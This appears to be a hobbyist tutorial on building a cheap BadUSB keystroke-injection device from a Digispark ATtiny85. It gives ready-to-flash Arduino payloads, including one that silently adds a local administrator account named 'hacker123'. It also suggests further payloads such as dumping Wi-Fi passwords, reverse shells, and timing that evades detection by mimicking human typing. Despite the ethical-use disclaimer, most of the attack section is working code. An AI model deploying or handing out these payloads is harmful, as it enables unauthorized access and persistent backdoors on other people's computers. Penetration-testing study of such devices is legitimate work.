> DIY USB Rubber Ducky Clone for Ethical Hacking
Weaponize cheap hardware for elite pentesting drills.
> Overview
Ever wanted a USB Rubber Ducky but didn’t want to drop $50+? Welcome to the underground. In this guide, weโll build a BadUSB clone for under $10 using simple microcontrollers like the Digispark ATtiny85 or an ESP32-S2. Perfect for learning keystroke injection attacks and automating pentesting tasks.
โ ๏ธ Disclaimer: This is for educational and ethical use only. Unauthorized access is illegal. Always hack responsibly.
> What You’ll Need
- ๐ฅ๏ธ Digispark ATtiny85 (or ESP32-S2 board)
- ๐ Micro-USB cable
- โ๏ธ Arduino IDE (with Digistump driver installed)
- ๐ ๏ธ Payload ideas (commands to type automatically)
> Setting Up Digispark
- Install Arduino IDE if you haven’t already.
- Go to Preferences and add this URL to “Additional Boards Manager URLs”:
http://digistump.com/package_digistump_index.json
- Open Board Manager โ Install “Digistump AVR Boards”.
- Set Board to Digispark (Default – 16.5mhz).
- Write your payload using
DigiKeyboard
functions. - Upload sketch โ THEN plug in Digispark when prompted.
๐ ๏ธ Pro Tip: Digispark doesn’t always appear in “Ports” like a normal Arduino. Just hit Upload, then plug it in when Arduino IDE says “Searching for Device…”
> Example Payloads
> 1. Command Line Popper
#include "DigiKeyboard.h" void setup() { DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(400); DigiKeyboard.print("cmd"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("echo Hacked by Rubber Ducky Clone!"); DigiKeyboard.sendKeyStroke(KEY_ENTER); } void loop() {}
> 2. Launch Website in Stealth
#include "DigiKeyboard.h" void setup() { DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(600); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(400); DigiKeyboard.print("chrome https://chronichacker.com"); DigiKeyboard.sendKeyStroke(KEY_ENTER); } void loop() {}
> 3. Create a New Admin User
#include "DigiKeyboard.h" void setup() { DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(400); DigiKeyboard.print("cmd"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("net user hacker123 H@ckme123 /add"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(300); DigiKeyboard.print("net localgroup administrators hacker123 /add"); DigiKeyboard.sendKeyStroke(KEY_ENTER); } void loop() {}
> Next-Level Payload Ideas
- ๐ Auto-dump Wi-Fi passwords using built-in Windows scripts.
- ๐งน Clear browser history on target machine automatically.
- ๐งฌ Deliver a “reverse shell” payload (advanced pentesting move).
- ๐ญ Create fake error popups to distract users.
> Related Resources
- DuckToolkit.com – Encode payloads automatically
- Official Hak5 GitHub
- P4wnP1 – Ultimate BadUSB Platform
> Final Mission
Write your own payload that:
- โ๏ธ Opens Notepad and types a custom message
- โ๏ธ Connects to a hidden Wi-Fi network
- โ๏ธ Installs a security update (real or fake!)
๐ฅ Bonus: Randomize delays between keystrokes to mimic human typing.